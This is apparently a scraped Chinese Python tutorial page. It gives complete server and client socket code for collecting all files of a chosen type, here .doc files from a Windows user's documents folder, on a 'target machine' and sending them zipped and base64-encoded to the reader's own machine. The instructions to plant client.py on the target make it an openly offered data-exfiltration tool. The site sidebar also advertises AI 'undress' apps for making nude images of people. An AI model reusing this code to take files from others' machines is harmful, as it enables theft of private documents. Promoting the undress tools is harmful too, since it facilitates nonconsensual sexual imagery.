python实现获取客户机上指定文件并传输到服务器的方法
本文实例讲述了python实现获取客户机上指定文件并传输到服务器的方法。分享给大家供大家参考。具体分析如下:
该程序实现了,把目标机器的某个目录(可控)的所有的某种类型文件(可控)全部获取并传到己方的机器上。
1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,这是2进制加密解密
2、用zip压缩
3、socket中server.py放到自己这方python server.py,然后client.py放到目标机器,然后python client.py即可
4、本程序设置了获取doc文件,修改extName可以获取其它类型文件
服务器端程序:
import socket
import win32com.client
import os
import zipfile
import codecs
import base64
def main():
HOST = '127.0.0.1'
PORT = 2000
BUF_SIZE = 6553500 #6M
key = 'ouyang'
timeout = 5
dicName = "ouyang\\"
ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
ss.bind((HOST,PORT))
ss.listen(5)
print "wating for conntecting..."
while True:
try:
cs,addr = ss.accept()
socket.setdefaulttimeout(timeout)
cs.send("200 Connected!")
#获取加密数据
encode_data = cs.recv(BUF_SIZE)
#把数据写到out.zip文件
tmpfile = open('out.tmp','wb')
try:
tmpfile.write(encode_data)
tmpfile.close()
except IOError,e:
print 'Strange error creating IOError:%s' % e
tmpfile.close()
finally:
tmpfile.close()
#base64 decode 2进制 解密 decode(infile,outfile)
tmpfile = open('out.tmp','rb')
outfile = open('out.zip','wb')
base64.decode(tmpfile,outfile)
tmpfile.close()
outfile.close()
#打开zip文件
zfile = zipfile.ZipFile('out.zip','r')
#创建一个文件夹来存放获取的zip文件
if not os.path.exists(dicName):
os.mkdir(dicName)
for f in zfile.namelist():
data = zfile.read(f)
file = open(dicName+os.path.basename(f),'w+b')
file.write(data)
file.close()
print "finished!!!"
zfile.close()
#后续处理 删除临时文件
os.remove('out.tmp')
cs.close()
except socket.error, e:
print 'Strange error creating socket:%s' % e
cs.close()
ss.close()
except socket.error, e:
print 'Strange error creating socket:%s' % e
ss.close()
if __name__=='__main__':
main()
客户端程序:
import socket
import win32com.client
import win32api
import os
import time
import zipfile
import codecs
import base64
def walk_dir(dir,filelist,extName,topdown=True):
for root, dirs, files in os.walk(dir, topdown):
for name in files:
if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
filelist.append(os.path.join(root,name))
for name in dirs:
if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
filelist.append(os.path.join(root,name))
def main():
HOST = '127.0.0.1'
PORT = 2000
BUF_SIZE = 65535
key = 'ouyang'
dicName = "C:\Documents and Settings\Administrator\我的文档"
extName = '.doc'
#遍历搜索我的文档的doc类型
try:
filelist = []
walk_dir(dicName,filelist,extName)
except IOError,e:
print "文件处理错误: " % e
sys.exit(-1)
cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
cs.connect((HOST,PORT))
print cs.recv(BUF_SIZE)
#压缩成zip文件
zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)
for f in filelist:
zfile.write(f)
zfile.close()
#base 2进制 加密 encode(infile,outfile)
infile = open('in.zip','rb')
tmpfile = open('in.tmp','wb')
base64.encode(infile,tmpfile)
infile.close()
tmpfile.close()
#send
tmpfile = open('in.tmp','rb')
cs.send(tmpfile.read())
tmpfile.close()
#后续处理 删除中间文件
os.remove('in.tmp')
cs.close()
except socket.error ,e:
print 'socket 出错啦:' % e
cs.close()
if __name__=='__main__':
main()
希望本文所述对大家的Python程序设计有所帮助。

To maximize the efficiency of learning Python in a limited time, you can use Python's datetime, time, and schedule modules. 1. The datetime module is used to record and plan learning time. 2. The time module helps to set study and rest time. 3. The schedule module automatically arranges weekly learning tasks.

Python excels in gaming and GUI development. 1) Game development uses Pygame, providing drawing, audio and other functions, which are suitable for creating 2D games. 2) GUI development can choose Tkinter or PyQt. Tkinter is simple and easy to use, PyQt has rich functions and is suitable for professional development.

Python is suitable for data science, web development and automation tasks, while C is suitable for system programming, game development and embedded systems. Python is known for its simplicity and powerful ecosystem, while C is known for its high performance and underlying control capabilities.

You can learn basic programming concepts and skills of Python within 2 hours. 1. Learn variables and data types, 2. Master control flow (conditional statements and loops), 3. Understand the definition and use of functions, 4. Quickly get started with Python programming through simple examples and code snippets.

Python is widely used in the fields of web development, data science, machine learning, automation and scripting. 1) In web development, Django and Flask frameworks simplify the development process. 2) In the fields of data science and machine learning, NumPy, Pandas, Scikit-learn and TensorFlow libraries provide strong support. 3) In terms of automation and scripting, Python is suitable for tasks such as automated testing and system management.

You can learn the basics of Python within two hours. 1. Learn variables and data types, 2. Master control structures such as if statements and loops, 3. Understand the definition and use of functions. These will help you start writing simple Python programs.

How to teach computer novice programming basics within 10 hours? If you only have 10 hours to teach computer novice some programming knowledge, what would you choose to teach...

How to avoid being detected when using FiddlerEverywhere for man-in-the-middle readings When you use FiddlerEverywhere...


Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

AI Hentai Generator
Generate AI Hentai for free.

Hot Article

Hot Tools

SublimeText3 Mac version
God-level code editing software (SublimeText3)

Safe Exam Browser
Safe Exam Browser is a secure browser environment for taking online exams securely. This software turns any computer into a secure workstation. It controls access to any utility and prevents students from using unauthorized resources.

MantisBT
Mantis is an easy-to-deploy web-based defect tracking tool designed to aid in product defect tracking. It requires PHP, MySQL and a web server. Check out our demo and hosting services.

SecLists
SecLists is the ultimate security tester's companion. It is a collection of various types of lists that are frequently used during security assessments, all in one place. SecLists helps make security testing more efficient and productive by conveniently providing all the lists a security tester might need. List types include usernames, passwords, URLs, fuzzing payloads, sensitive data patterns, web shells, and more. The tester can simply pull this repository onto a new test machine and he will have access to every type of list he needs.

ZendStudio 13.5.1 Mac
Powerful PHP integrated development environment